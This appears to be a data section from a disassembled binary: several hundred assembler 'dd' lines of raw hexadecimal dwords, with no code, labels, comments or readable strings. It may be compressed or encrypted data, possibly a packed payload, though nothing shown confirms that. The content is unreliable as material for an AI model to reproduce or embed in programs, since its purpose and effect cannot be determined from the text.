		dd 5EEEE674h, 3F105CB0h, 34818ACCh, 0BA169DF8h,	0BC59C0BEh
		dd 0E484261Eh, 5B008B1Dh, 438AC268h, 0F88807BDh, 5728D152h
		dd 42D480A4h, 1C002521h, 890F0C4Eh, 533F43h, 8FB64B8Eh
		dd 0BD91C52Eh, 0AD3AB200h, 0CEE9143Ch, 66D6001Ah, 5161DA4Bh
		dd 1FA109Dh, 0BEFC8A07h, 85308F58h, 79A8D9ECh, 5F72014Eh
		dd 3DE45570h, 79F0F430h, 3F538B01h, 0D0CFCC9Ch,	0D37330h
		dd 68F810D9h, 21BE42B8h, 0D611EC00h, 0F49061DFh, 0ABF300E5h
		dd 0FA649793h, 0AE7637F5h, 0D3742000h, 4E030688h, 63C817ACh
		dd 43030004h, 79FA013Eh, 575D9600h, 0CA974E39h,	0E0C7007Ch
		dd 9E14998Bh, 5E0080BEh, 0F1E95C9Ch, 79413F4h, 16DF95E3h
		dd 824485DAh, 20614BECh, 7C8DE00Dh, 1D4C2005h, 78C749B8h
		dd 6307C2F0h, 6240F8Bh,	0C5D404BAh, 0DABF3000h,	8DFB0228h
		dd 0C540EBA0h, 8A998100h, 0C2935E50h, 25EA3A6Ch, 0D530B700h
		dd 0CAC0237Ch, 25F74Ch,	0F64C9B90h, 0B00507h, 0AFECE901h
		dd 0D854DF4Dh, 0B72D8800h, 0EF3364AEh, 35D01A0h, 9EEDF49Dh
		dd 283C3043h, 48080400h, 200C112Ch, 10440114h, 66D38318h
		dd 0EF0AEC3Ah, 0EB851200h, 0F0335346h, 811E006Eh, 2E3A4D09h
		dd 2A007586h, 144642A4h, 12711821h, 0FC7AB5C7h,	0AB770029h
		dd 4163094Ch, 0B642039Ch, 747B7540h, 66B8DCF3h,	0C300DF29h
		dd 2CBED669h, 39B467E3h, 721B5348h, 44E81EA2h, 8013BF7Bh
		dd 0B700E99Fh, 45DD2609h, 600400F3h, 50520717h,	0AE8E2ADh
		dd 0E8813B1Fh, 0DA097540h, 5A9780h, 7B517358h, 7D0CC5EBh
		dd 257A4B00h, 0B5A81221h, 0B44A00D4h, 0B3F7949Dh, 8F00BB98h
		dd 51057724h, 49BAFFh, 88B04876h, 427A92A2h, 0BF01EA07h
		dd 7570E579h, 47C589h, 0F441A74Ch, 0DC867FDBh, 0DB80600h
		dd 0CFA4D27h, 0FE88002Bh, 0F0FBE82Dh, 0F33E9752h, 0F4007FDEh
		dd 13B2F628h, 306614A9h, 602AE89Dh, 32037273h, 85FC15C8h
		dd 610AC0F6h, 1E760314h, 0F421FA12h, 0E05816D1h, 0C004277h
		dd 0A771AE9Eh, 0B05259DCh, 0F24C00D5h, 8B518968h, 7C00C53Ah
		dd 45491926h, 1602546h,	4CBAC38Ch, 0DCB49535h, 0F7F420F8h
		dd 4301200h, 16344828h,	1F722Ch, 93FC4978h, 9A2F58A0h
		dd 0E50011Ch, 13C93840h, 3D907F10h, 0C03E53EDh,	3B46F200h
		dd 0C4972CEh, 1220E002h, 0E00161C3h, 72BE1B3h, 53449FD0h
		dd 86260E8h, 5AC07473h,	0FA9DD29h, 0D5800714h, 0A0240BC9h
		dd 4519127Bh, 5A588402h, 0E046A00Dh, 23F1FDh, 76EB3B32h
		dd 0C409FAEh, 101DC3ECh, 7CC0C62Bh, 7B80287Dh, 75242789h
		dd 0E400395Ch, 98BE742Ch, 0E2F5980Dh, 0C7493h, 0C3401D16h
		dd 0E00355A8h, 840F9E00h, 0CE3285BCh, 1404000Ch, 18151048h
		dd 0B975A775h, 7208F600h, 277C432Dh, 28393A29h,	0BF1C4412h
		dd 8A0EAA01h, 1EE4957Dh, 0CB42004Ah, 1CAEA9F6h,	5E079849h
		dd 8A215350h, 0D45BCFF0h, 0A02A3969h, 4A61804h,	0B100EA42h
		dd 0E790B0C3h, 0A51D0075h, 74349119h, 3B002B85h, 47763196h
		dd 0CB92Ch, 97AF2F1h, 0F31CC624h, 8806BB1Dh, 7542AF00h
		dd 0F9CEC937h, 83C6DAC3h, 7ABD32A2h, 339000B6h,	681574C5h
		dd 0C8480C2Bh, 76193C00h, 8B0FC0FBh, 1DA6CE00h,	0AFB13B25h
		dd 0C3EA004Ch, 0C0C8E985h, 0E8FDDA68h, 0CAC018CEh, 0F0141BAEh
		dd 810B00A6h, 0F73002B0h, 71009735h, 88930839h,	2E03117h
		dd 0EA1052Bh, 14409601h, 0E11EA4A8h, 4AA6C44Eh,	75027600h
		dd 24B82Fh, 0FA4CFD63h,	930447B5h, 27F22000h, 21AF7819h
		dd 1C080037h, 0E5365D8Ah, 0C4005523h, 2D839040h, 6E9F18h
		dd 8568A120h, 512C250Fh, 8CE2A803h, 0C01015C4h,	1D08F9D7h
		dd 0CFBFF4h, 0F7B0A16Eh, 75078268h, 972CB815h, 9167AB30h
		dd 96B438F3h, 3043D001h, 0F4C54C16h, 6400EC7Eh,	0EF560441h
		dd 7102C7Fh, 6032C824h
		dd 68C0DE09h, 70916C48h, 54770271h, 0BDB0901Fh,	22C81FBDh
		dd 15E2E100h, 2CF0CC2h,	4409F806h, 0D7C0086Ch, 313F744Ch
		dd 32D08303h, 0EB3FC618h, 64C4A030h, 0FA88E66Fh, 80330031h
		dd 0FD98C81Fh, 0FCE5FA10h, 0E8FAC1D9h, 1EF7620Fh, 22C780DCh
		dd 6E342174h, 0B8010C6h, 0A478B341h, 5000307Bh,	0C81EF9C7h
		dd 1089264h, 0E4CCA02Fh, 0E0D3ECC1h, 0CE20431h,	0DC109400h
		dd 5FC86070h, 524F1F58h, 7836C026h, 0EC6CBC95h,	4EEE4B0h
		dd 80EF1B0h, 20118F0Ch,	0A052431Ch, 0E06B25EDh,	64132BFEh
		dd 54B07F01h, 0A02F8625h, 0A12C252h, 35030FC3h,	85E36798h
		dd 0E8F980AFh, 0EB003AF9h, 1C8B0104h, 4CFB8688h, 6F486EC1h
		dd 8A058902h, 0BDE07549h, 44073848h, 3B431513h,	17CB0F30h
		dd 9DF50120h, 0FA5F7442h, 5DD82046h, 0FDC64A00h, 13BC4F03h
		dd 7406003Bh, 33D0FCF3h, 5800C909h, 67E47BE8h, 98E28025h
		dd 0DB2000D9h, 0F1844E1Bh, 17039A7Eh, 9CEA6523h, 0CBBCC85Fh
		dd 988E000Dh, 0B5FB0444h, 96002B84h, 487107BDh,	7B5806A0h
		dd 7021004Ch, 54400F50h, 2301FEE3h, 0F7EBE8FBh,	3D5ECD5h
		dd 75045F60h, 0E0CF003Ah, 0EDE7C1F9h, 0C700E9CCh, 8DF5C378h
		dd 2523FB18h, 1250EC0Ch, 0BEE2418h, 1047AD4h, 0F8F5C7CDh
		dd 0D8073A9Ch, 0C302E0E8h, 0F918588Fh, 0D952C023h, 8AFA1C9h
		dd 3CF7E6C4h, 0DF0394DBh, 0FF15EE33h, 2EF82F22h, 0E45ADF3h
		dd 3E07A01h, 3A96B3DFh,	0EB981307h, 0DA900B0Dh,	1F437329h
		dd 802BB61Bh, 3B887410h, 200758C4h, 14428C8Fh, 2C915477h
		dd 23E8463Dh, 72510118h, 741CAF94h, 2089E8F8h, 0BE210B3Ch
		dd 687702C4h, 0F70EC859h, 0A8289300h, 2C0489E6h, 0B703841Ah
		dd 0F8589383h, 0EE8885C5h, 34C40790h, 0AE423C2Ch, 622025CFh
		dd 5A193538h, 4A14AF7Ch, 0BB6CF74h, 83FD0CA5h, 80A89195h
		dd 0C5812Ah, 5A827999h,	7FAE037Ah, 0CCA24200h, 369D86EEh
		dd 0C8C00B7h, 576AF8CDh, 53012910h, 4205208Bh, 5460CAC9h
		dd 52C63F1Bh, 0CCE90C00h, 29206A15h, 0C897D40Fh, 0B0178709h
		dd 0DDA905D1h, 320B8CD0h, 30500DA3h, 20EF0Eh, 2E841343h
		dd 342200A6h, 46A2F82h,	8800A495h, 4178C646h, 91085B8h
		dd 436DAC14h, 0A16A1787h, 2AB47023h, 0A9ED6FB1h, 2E80A745h
		dd 0F286D2E8h, 59FCF3D8h, 11A7EEAh, 2B1864E5h, 30C3113Ch
		dd 2330B9CFh, 0F4284214h, 0AA4D3B21h, 44A45309h, 76D200F7h
		dd 0F87C84A7h, 56A80027h, 0E2C78E21h, 1401B989h, 0B5B21C42h
		dd 22D04334h, 64B0B8h, 0EC1BF1A2h, 831F3C32h, 0C7813A07h
		dd 6E10D9A1h, 0B533FE9Dh, 0BA029482h, 279955E0h, 58C84200h
		dd 601F5389h, 4FE91F3Ah, 8FAEC3ABh, 22960940h, 1C5C20h
		dd 0A56CE907h, 67B88D34h, 14D60818h, 3E02D31Ah,	0E987ABF0h
		dd 800F7BB1h, 94E21A11h, 437C9C00h, 0C4A3887Eh,	0CB381F28h
		dd 64BCDE8Dh, 0EE80751h, 750B0C8h, 0F39087ACh, 8BFA683Ah
		dd 0FC91F08h, 4347E700h, 275FC4F7h, 21171432h, 34D1A6D0h
		dd 5A83EC0Ah, 767AC0D9h, 9B12B2BBh, 6D002C31h, 62B444C3h
		dd 4314001Ch, 4152A2E0h, 5100C2E9h, 0FF33F81Fh,	3F990h
		dd 52EE5D7h, 5EE2C189h,	527C4Ch, 12414B4h, 348504Ah, 4C425A06h
		dd 84C37210h, 0B3EF54B0h, 0B8278000h, 78DA756Ah, 0FB482EE4h
		dd 0C08A1EC1h, 19BC4BE0h, 96004022h, 0F0C747D8h, 230148h
		dd 0E676045h, 0CDAB894Ch, 50EF4000h, 0BADCFE08h, 0E54FA98h
		dd 10324476h, 0E1F05800h, 8100C3D2h, 22EEEF5Ch,	3600EC0h
		dd 0FEDCBA98h, 10E06480h, 8901ABCDh, 45676802h,	6CC00123h
		dd 2D1E000Fh, 0C0333C12h, 9300ACE1h, 0B6EC53D9h, 7C5BC66Eh
		dd 3FE03B18h, 3440702h,	7E08008h, 7E0038F8h, 2B6FA81Eh
		dd 18D6BD0h, 0E633F525h, 0F4D553DBh, 1A007E29h,	761451FFh
		dd 311E95h, 0FAE0C183h,	0D82F707Fh, 800CB338h, 146C6BDFh
		dd 0EA9AAC55h, 8BFC40h,	0DD8192C4h, 7245618Ah, 95D5BE00h
		dd 552DD3FEh, 0D9340019h, 7B816A09h, 0ED28777Eh, 0E503A96Eh
		dd 5E76013Fh, 3520D7FAh, 7B74BF54h, 0DF3B07FDh,	0A08D107Dh
		dd 28BD3F2Eh, 80CB2A3Bh, 0AE4FEB24h, 24A91229h,	3B51064h
		dd 0DF2B8DC6h, 283CFCD8h, 0DDE6D41Ch, 0E803C000h, 141BBD9h
		dd 62C2BD7Ch, 20831D98h, 0EB00EAB3h, 8CFB069Dh,	4DEC7Dh
		dd 6FC56A03h, 67FF6951h, 0BDA71801h, 86B62C14h,	0E46A1670h
		dd 0E4E80009h, 44A224AEh, 3105BDBAh, 0CBDB0107h, 0F9FBB080h
		dd 0E16600FAh, 85B75639h, 0AF005DE8h, 0B2BD334h, 48CAB4h
		dd 0F93C0C20h, 0F3E97CCBh, 808CF503h, 0F07013DBh, 692124h
		dd 4C33A91Ch, 0F101188h, 0F87C7E0Fh, 7DAB40FDh,	0BDCE17h
		dd 0A9F047C1h, 234E9C24h, 4BE2600h, 81664CCh, 30F070Ah
		dd 0B3AE9FFEh, 7CC0AF60h, 8C02A1F5h, 4610DE70h,	6714C1BEh
		dd 147870h, 87C62A01h, 52F13547h, 34978C00h, 90CC8523h
		dd 13040018h, 27A83046h, 40077E58h, 9510011Ch, 0D921FDB0h
		dd 0BCAF0390h, 98D88020h, 4369080Fh, 0C4D2C0FCh, 0FC2428F3h
		dd 7AF701AFh, 0B0E48C44h, 0CDE49D87h, 0B10387BFh, 83DBFF5Bh
		dd 0F00FAAD8h, 24BE022Ch, 1E905CD7h, 3B10C065h,	30C485BFh
		dd 11220107h, 88506B90h, 7F5E08B0h, 1C7FFC42h, 3472CDh
		dd 0FD987193h, 0AF07468Ch, 38519D88h, 79438E00h, 21A60742h
		dd 0B3CF9C0h, 7BB40601h, 0F1E9E849h, 0F2C2BE0Eh, 25620004h
		dd 0A8F61Eh, 4518E869h,	58C4CB1h, 0CE0D8007h, 40BE408Eh
		dd 0C050B372h, 43290069h, 0A1785CB1h, 5D1CCE2Ch, 5100E68Ch
		dd 0DD265E5Ah, 0AB5539D2h, 30147681h, 608C04C0h, 120011F0h
		dd 0AA984ED3h, 4CE9B640h, 9600D7D2h, 97801DCFh,	0FB017204h
		dd 290C0514h, 5DC0F28Bh, 0D62F3010h, 9888A3E8h,	285138h
		dd 42441453h, 0BB42302h, 5729B7C4h, 0A1E66601h,	99E5F0D8h
		dd 0BBB8B00h, 0C8982093h, 40D300FBh, 0B21008E7h, 3504E924h
		dd 8C2B46DEh, 95C05285h, 721E1CDh, 1EB22FC2h, 82BA79h
		dd 710D638h, 8478C337h,	43126CFCh, 7C00CF47h, 0D50D8708h
		dd 3E71EAF4h, 0C18F42ACh, 4E01017h, 455A14EDh, 623094FCh
		dd 2341B6Ah, 63E90205h,	0BB198C6Eh, 44B0D5C0h, 0F8010803h
		dd 0B0FCEFA3h, 1C108FCCh, 1CA2CFh, 676F02D9h, 0C09FD81h
		dd 0E485D3h, 2A4C8A18h,	1F20EA8Dh, 40F608B3h, 420490EFh
		dd 0FF7BFA39h, 1711A100h, 2BA09DC2h, 8AD01C3Bh,	0F6E4C1AAh
		dd 0E0877129h, 0B3006609h, 0B40B794h, 7D04C55h,	6122E02Bh
		dd 856DA39Dh, 0E2B5ADD0h, 700E1000h, 0C0738A2h,	0A0E50045h
		dd 0B34EA61Ah, 170E232Ch, 0E0330981h, 0BEEA44C1h, 845801A4h
		dd 0BF10879Bh, 0A9A940A2h, 4B2EDE72h, 0D9895611h, 60C10744h
		dd 0A9F6BBA3h, 9A20AE09h, 70020728h, 51BEBFBCh,	401FB42Ah
		dd 7EC604A4h, 61289B1Eh, 110BC340h, 993D143h, 27FAEF41h
		dd 83488E82h, 1641A1E2h, 1BCEFC5Ch, 30850400h, 8C0AD4EFh
		dd 7FF9083h, 1D100518h,	0AD21F088h, 39E024F9h, 46D4D00Fh
		dd 0C4A240D9h, 18874C6h, 9914E5CFh, 0E084E6DBh,	0E003D1F1h
		dd 0F43C200Ah, 1FA2A07Ch, 0AF103F21h, 65000838h, 0C440AC56h
		dd 0B5714331h, 44E64101h, 86F42922h, 0B9D15F4h,	0EE5BCC0Ch
		dd 2063F00h, 0B924D249h, 97000185h, 435F2AFFh, 0BF60041h
		dd 4AB278E9h, 0A002087h, 0C9D2682Eh, 0F223A770h, 0C59094h
		dd 15D01747h
		dd 0FC889ECh, 0A2111013h, 0A0398E00h, 0E03093h,	0D27E6AE9h
		dd 90E804F0h, 9AD8C400h, 280B8115h, 0C3E00055h,	65405B59h
		dd 8C1FA5A1h, 0C40D544h, 0EACC9280h, 0F71988Fh,	0F4E4B304h
		dd 7D818EBFh, 7EA1EFA9h, 31D1B127h, 205DCD3Bh, 0A0185A3h
		dd 1C109E42h, 0AE30B8C5h, 0B07E744Fh, 2D233FF1h, 0D361E204h
		dd 0E064C039h, 463F2CE6h, 42900FFEh, 0F959A280h, 1ABE060h
		dd 8CAC3AA3h, 34B2B380h, 8D2A107h, 96044E00h, 9017A832h
		dd 1F82EE10h, 82F7537Eh, 0ED4254B9h, 0F235C968h, 30BD3A00h
		dd 8987B41Ch, 0E5D4000Ch, 0D2BB8211h, 0B0092AD7h, 0B23F8Ch
		dd 90C052BDh, 0D39100C2h, 0BAEB8637h, 260ED7C6h, 0E0F8332Dh
		dd 0C78C9B61h, 0B7D600E5h, 0B6FEF463h, 0E40E2FB4h, 0C1A74A74h
		dd 2E4051E2h, 0F91BF4h,	641545Ah, 7CFD5852h, 0A64ABE05h
		dd 0FAFC3Fh, 11A7B4EBh,	0BBE40B20h, 0FA44D400h,	2DBEA4FEh
		dd 921600EEh, 7F2A85F8h, 0F5504890h, 0D7FA4485h, 0B901FA71h
		dd 78EA10F6h, 72FCFEABh, 0AE6E9h, 122B29E7h, 60C4F108h
		dd 0BCE87300h, 4C46DA9Dh, 3F97F51h, 85D53A97h, 0CB8238Ch
		dd 0C800EACAh, 4A1FE97Dh, 1F4C37C7h, 4E1411F8h,	0EA832BFAh
		dd 0D7D07881h, 100F598Ch, 67AE5087h, 49001E97h,	3F8A5CD5h
		dd 0EB302BFBh, 528CDF2Ah, 80D7143Ch, 8A2B5A3h, 58D59502h
		dd 17BD71Fh, 7E2B3CCh, 0DD6C1904h, 1CC8F842h, 0F23EF7FAh
		dd 76173E09h, 88938750h, 0E6EBF600h, 0CED7A742h, 0DE20691h
		dd 52D63C02h, 7A84280Eh, 800E83B6h, 0E487D866h,	0A304002Ch
		dd 810F38B4h, 8EDF1B11h, 230B280h, 71CB5CEh, 8D1A0640h
		dd 59A08F88h, 46CD1834h, 720C81Dh, 8D001913h, 1709403Ch
		dd 0F2D73B43h, 0B7511081h, 0BEE2AE91h, 0F8138014h, 423B33B4h
		dd 647E01A2h, 0B86D6F6Ch, 0BA8FF0C8h, 307286E4h, 9223F902h
		dd 60D0EA4Eh, 8CC9D6h, 2E1037A9h, 0EF4AAD6Dh, 0D7BDC400h
		dd 0BE76FA22h, 0C1EA07CFh, 0C0346437h, 508B20Dh, 0FB2F180Eh
		dd 9E6C4027h, 0A54AFFh,	6DB69773h, 481A0D40h, 0B807D800h
		dd 0F2A29DFEh, 12A30017h, 2F283791h, 0B0FCD6Ch,	58D85380h
		dd 0A0A34EC0h, 0A4E218B8h, 469900C1h, 0CA9DC4D8h, 85A03C62h
		dd 99A11907h, 0D4D9F4D0h, 0C374C00h, 9ECB1393h,	0A0ADFCAh
		dd 0EA21E30h, 0F8E03321h, 3887A42Ah, 0B688472Ch, 7EDF651Eh
		dd 0CF0561DFh, 5C81E551h, 9BF0ACC4h, 0B0110013h, 0F21488CBh
		dd 623EECC5h, 814DBEE3h, 0C937E794h, 0B1DC3C08h, 45FA3EF8h
		dd 386412h, 0FCDA4642h,	0A54C433Dh, 0DF10709h, 0FB17701h
		dd 38EC74C4h, 7C8B020h,	6214230Ch, 1CE5E0BFh, 1EE24EA7h
		dd 0A5B4E904h, 0A3C0FBECh, 0C0E3CCC6h, 15490BCEh, 0F201B10Fh
		dd 0D32472DAh, 4FEC5AB7h, 2CFE2Eh, 0C4CCF988h, 0D613080Dh
		dd 953B9D01h, 0F234675Ch, 4E0360h, 0CEA71FDBh, 85719C1Dh
		dd 0BB8DE805h, 98063CCAh, 3228025h, 776E2713h, 0A6C8E802h
		dd 3300E90Ch, 0BE58C95Bh, 0F9485DBh, 0B3A1FF3Ch, 46C508E0h
		dd 0E004CCDh, 0DB4AF1ACh, 1F5EFA2Dh, 40F810FFh,	0C48773AEh
		dd 4400040Fh, 8233FDCh,	0FBC8C42h, 78C21259h, 1C941F60h
		dd 0A472A7FFh, 81086809h, 0BD9D0718h, 943FA2F0h, 0B1213FFEh
		dd 0CEC303FEh, 0A9DFF9C9h, 0DCEFE2D8h, 18471605h, 0C0AEF684h
		dd 6A1A04A3h, 0F1342100h, 0DD4C0105h, 2CC82E0Fh, 85BD015Dh
		dd 0EC210C11h, 0A7714F9h, 0A4A87D01h, 0BBA135B2h, 71838F0h
		dd 0B0FF28B5h, 0C211E042h, 54888CFh, 0EEB100EAh, 0EBF209DDh
		dd 0DAD8030Bh, 0FA9424A8h, 2EBCD007h, 0FED08F1Bh, 0B817F9h
		dd 0B03DEB97h, 712F374Dh, 0DE4CAF00h, 0C2E70722h, 0E6F80023h
		dd 0BEE5C79h, 370034F5h, 811009CAh, 3AF0B9DEh, 7900F923h
		dd 0D097E882h, 68485B8Ch, 1DA500E1h, 0DECA881Eh, 7B910F4Fh
		dd 24A0B609h, 298C47E9h, 54A43724h, 12080E00h, 0E601D9h
		dd 0A9ED2116h, 2C7920C4h, 22F93109h, 0A0538913h, 0DF42623Ch
		dd 5A1048BCh, 9A11080Ch, 4E00AA10h, 26E929D1h, 1F8A9313h
		dd 9EDD8444h, 0C910008Bh, 3F0CE2AAh, 0E003A390h, 1CAB825Bh
		dd 9F019547h, 3CE8C23Eh, 8006569Ch, 21AFE078h, 0AD765838h
		dd 0BDE28D00h, 490D71D2h, 97134C34h, 58E0F0C0h,	199AABDCh
		dd 3900DF90h, 2CE127C4h, 0EAC4313h, 0FBF20888h,	0A3C0D2E0h
		dd 2E00FD4Eh, 0E46FA953h, 22CFEEh, 3EE18417h, 323F293Ch
		dd 0CB6EAE00h, 0B8D30804h, 174B8F5h, 0B7E1B00Bh, 60332A3Bh
		dd 1201E883h, 7204BFF8h, 1BD00506h, 5CF6006Ch, 4AB73BE1h
		dd 0E8006133h, 6E75ACEBh, 0FB4ED472h, 29B330h, 981CB2E2h
		dd 5D1EE933h, 4B6EAD01h, 6F4A4CCAh, 0FEE60B7Bh,	8301F580h
		dd 38002DE2h, 11FF5AADh, 9088D496h, 0B17DEFh, 9D28467Eh
		dd 0F2A4C010h, 0F5A1361Fh, 38290B00h, 0EA42FFh,	19934ADh
		dd 0A5E32858h, 0C200B9F6h, 69AE1D84h, 0EA2FD27h, 0D101F0Ch
		dd 0F8E37D40h, 2002577Fh, 0D1958EFFh, 0AF184188h, 2C7024F7h
		dd 29C100AEh, 6C1504F2h, 142F43Fh, 0E95018C8h, 13208DAEh
		dd 62F023h, 4216E427h, 0AF1C843Ch, 0F736900h, 5338E7F4h
		dd 0C0A24BFFh, 8215E496h, 244C8900h, 0BCC2F408h, 70740127h
		dd 4B5C7C3Dh, 1822E814h, 571F5E00h, 0E647FC26h,	50A200D2h
		dd 0C6083145h, 4E8C4D6h, 3F50E4F8h, 91263382h, 270BA3EEh
		dd 48C800C3h, 7E525F1h,	4C592D2Eh, 1A24E033h, 0D20031B0h
		dd 585067D1h, 901485E5h, 0E9C40009h, 3064124Ch,	0AB1E68B8h
		dd 2F5D3353h, 4A59ACCCh, 0FE5A00B9h, 2CD7C417h,	4D7CDD2Dh
		dd 4E7C2F7Ch, 8025103Eh, 0A159E2A4h, 984BE623h,	242F862h
		dd 2ECFB118h, 0C6405662h, 0FF1F3452h, 691F4B84h, 29906F03h
		dd 7F1D018h, 98E6F601h,	0F03C165Fh, 0FD9D0BC3h,	1F6E4D0Fh
		dd 24A120C0h, 2E0066C5h, 2DAC22B3h, 0FFF94CEh, 49B21723h
		dd 554741C0h, 633EE75Bh, 4A089FABh, 89DCD243h, 0C72DDB72h
		dd 0C4074B0h, 6EEB60ABh, 0D9C2F030h, 3DC18C48h,	353983E4h
		dd 0D846F2B8h, 0EE1820h, 5C4D27D1h, 251C48B5h, 1162A10Eh
		dd 2C57C0B3h, 3B5E37h, 0E85C136Dh, 4810358Ah, 0C3FC2B8h
		dd 5BD183BAh, 0B51C57F4h, 0BFA32280h, 48F22494h, 0F3223057h
		dd 0F13B8979h, 8B1300E8h, 5B45DB05h, 5F09024h, 38507BF9h
		dd 6226C3E9h, 3560B4DAh, 2B059714h, 486F3917h, 0E85BD783h
		dd 328230Eh, 0F981C5CBh, 1A052238h, 0F20AE9D2h,	70933C8h
		dd 18F1EA46h, 0D9012BDCh, 0F1561527h, 1316F04Bh, 0B5372100h
		dd 3A7930C4h, 12B21F2Ah, 0F41A682h, 88C3436Eh, 5DFBF210h
		dd 7A94F998h, 0FF421B8h, 0EA13DDF8h, 800073AFh,	0EB16110Dh
		dd 4E2B3EBCh, 490BA6CCh, 0CC03A513h, 0B8F05EC4h, 0F300F0A0h
		dd 6D40703Eh, 7B64253h,	0FCDD6510h, 0CAEB7091h,	69053314h
		dd 9809A25Bh, 56CB6B80h, 0A4D7CE7h, 10A02B2Eh, 0CFC04E1h
		dd 2D68C8A6h, 0C7CC2C00h, 0EC1B0960h, 5AA01273h, 1F8F01A1h
		dd 0E47A2EB7h, 8FFC5D16h, 0EC56682Ch, 8447521Fh, 0FC20DE64h
		dd 6490A8D3h, 1FA1224Bh, 0B89D979Fh, 0A774ABC7h, 490EC491h
		dd 5A1E60BDh, 2B25439Ch, 9C0C7CDh, 6D1FED19h, 0C2006A3Ah
		dd 4034B81Eh, 8D130F0Dh, 71E35C89h, 1E3FEAA1h, 63108351h
		dd 0D81F97DFh, 0FAED8F0Ah, 1E080059h, 0B2669634h, 2861A83Ah
		dd 0ED4B0D7Bh, 44A64C4h, 0CE2970FEh, 167CD085h,	0E0EDFCEEh
		dd 0B9071C09h, 5AD09F7Bh
		dd 347480BBh, 0F84FA1FEh, 43610708h, 0E08DF1E0h, 91AA683Fh
		dd 79015C79h, 5108C1B7h, 0BDF46A7Bh, 6F183ACCh,	389D8680h
		dd 9FEEF2A6h, 0A1FEAAE2h, 10C6B900h, 4F76436Fh,	7D26E871h
		dd 0AA3E3EEFh, 0E7BA1E00h, 86AD6F3Ch, 0F00BB900h, 34B5EF69h
		dd 6D2D00BDh, 0D9965E1h, 6E01E4E9h, 0A0A84B3Dh,	0DE60EF49h
		dd 137FCA4h, 521B102Ch,	214F9E7Bh, 3C59F812h, 0FC8CE9E7h
		dd 4008006h, 0FAE287F0h, 0E2D0D6BAh, 0D38900E9h, 84B2A36Eh
		dd 8F00F033h, 0BB31C413h, 881438h, 0A58552C0h, 7C428CC5h
		dd 7C6BF048h, 87E28024h, 52F74400h, 922282Dh, 0F049B3A8h
		dd 0E2B7B103h, 0C1A78CD0h, 7B09C5B0h, 8F7E2Ah, 8834ACCDh
		dd 5C85F665h, 14007990h, 430DFCF1h, 0A21F9EBCh,	64C49C21h
		dd 0E3C0040Ch, 0FC44173Fh, 860904B6h, 806FD3E9h, 8F899906h
		dd 1336F100h, 65E39327h, 0EF0248FCh, 0FE7B5400h, 0C624D4A6h
		dd 0D913F116h, 3837BD00h, 0D4189h, 5F096F7Bh, 687E5A99h
		dd 800006B8h, 428FF21Ch, 0F5DD255h, 4A259A9Ch, 0E991C743h
		dd 0D07E3580h, 9EEE3403h, 0C72FD433h, 9F5B96F0h, 0D1F001C1h
		dd 10B26E7Fh, 38B7F0A9h, 0E4A8C200h, 64891555h,	2B7114h
		dd 2051D7F6h, 0D35A2C08h, 6FA0CE2Eh, 41A9F307h,	0ED155E0h
		dd 0ACD93B4Ch, 8B0F4B3Eh, 80A15061h, 6592D243h,	0BE8DF32h
		dd 3CFA082Bh, 0C5E52D0Fh, 5E34A787h, 21062090h,	7EF34CCCh
		dd 48030800h, 0F8F2AED4h, 94D79F00h, 2B12D63Fh,	88A91DD2h
		dd 0F44240B8h, 56080CC8h, 0F172D307h, 606F50FAh, 46BAD6A5h
		dd 0E6550012h, 23AB5FACh, 0B00C42Ch, 2EF49D04h,	0A43C30h
		dd 0CE034C7Fh, 0C941062h, 9F508800h, 12D71114h,	0F2570089h
		dd 54521F1Dh, 3307E3A5h, 190ACAA3h, 12504AE0h, 3A580991h
		dd 0F802108h, 47E4A542h, 97487E01h, 0F08C638Eh,	70282E81h
		dd 0F4EA0658h, 0C4008312h, 849CBD1Ch, 70FE14B8h, 51530030h
		dd 0B31FC89h, 3D0083C9h, 646D43Ch, 177D04h, 868A164Eh
		dd 7536EDE0h, 3890F00h,	41AEC383h, 67F93D8Fh, 0F81FEB85h
		dd 0A593802Fh, 0F0001312h, 5A76D0BFh, 95FA80h, 431CAE52h
		dd 0E0D933F4h, 1C80600h, 0ABCAD1C0h, 0D750024h,	184EC636h
		dd 27001653h, 6C38FFECh, 7C82FEB8h, 8A13005Dh, 0EA704A48h
		dd 0D726812h, 5900A2EAh, 42CE4DB6h, 3050CE6h, 1CDA0849h
		dd 20D85B14h, 76002734h, 402D4258h, 0C1F041h, 3905E624h
		dd 5312EF97h, 0FB005DECh, 4945D733h, 15C940Fh, 810834B0h
		dd 0F025BFC6h, 24000901h, 28007F2h, 1EE231h, 0D6D3E30Bh
		dd 32A221E6h, 907C4A00h, 0B833F934h, 0F86A1E42h, 0C910170h
		dd 6FDE1A9Fh, 16E06E00h, 28E7EDh, 0FB5230F3h, 8DBC6B2Eh
		dd 0AA77DE0Fh, 10476068h, 3956CE2Ah, 1F764D5h, 9A531EE7h
		dd 6011F121h, 6A0434A5h, 543AA074h, 0A18E4BC1h,	42F3C8h
		dd 1E0FE368h, 84F2E8B2h, 38FA3000h, 9C2351FBh, 321100AAh
		dd 8E501847h, 0E1EEA1F1h, 4A8F0700h, 46D6FCCEh,	20BC001Ch
		dd 6FCCFB87h, 0D51E28C8h, 23002C90h, 34435E30h,	8D3800FCh
		dd 0B21A3CF9h, 64001F40h, 48C86B44h, 244C917Fh,	9223BFh
		dd 55AD5442h, 0C60372F8h, 0CFA0B58h, 0AA5A98A5h, 0E5C800F6h
		dd 6F32255Ch, 84B853F8h, 6029BE03h, 0F0F6A92Eh,	4C96F0AAh
		dd 363F7FC2h, 0F9E2F483h, 68C8BE4Eh, 0F000522Eh, 598D6CE8h
		dd 0B70F70h, 7890DD28h,	58877CFBh, 0BF24B401h, 0F3A7CCF2h
		dd 726A21ECh, 5DF60384h, 1C8862B2h, 0F4D3F9E9h,	0CA3E8C72h
		dd 0BE32BEFCh, 0FFA58090h, 0A21B94D1h, 44350098h, 0A0887A9Ch
		dd 0A40310D5h, 11425FBAh, 0F7DCC8E9h, 84670E92h, 0FD40A835h
		dd 0AB05487Bh, 7DDF5D12h, 0E8CC00AFh, 3B0CDBF5h, 2DAC4400h
		dd 6FE60B27h, 331F0BEh,	1CDD2E72h, 0F1A887B0h, 0EF00AE5Dh
		dd 60B5412Ah, 3CF059C6h, 280047FBh, 0CB1B4D72h,	0A84803DCh
		dd 0A4E9036Eh, 0F004255Fh, 316B8ECh, 0F6542191h, 0BCB185DDh
		dd 0DCB771ABh, 7F01C0C8h, 0E4DE4F88h, 48F7AC4h,	1DA032F1h
		dd 1660C5E2h, 0ACCC431Dh, 81DE42CFh, 3788D5D0h,	3FD43280h
		dd 72DF70C4h, 623DD800h, 0DC19F29Bh, 0E6F1010Eh, 0E0210B61h
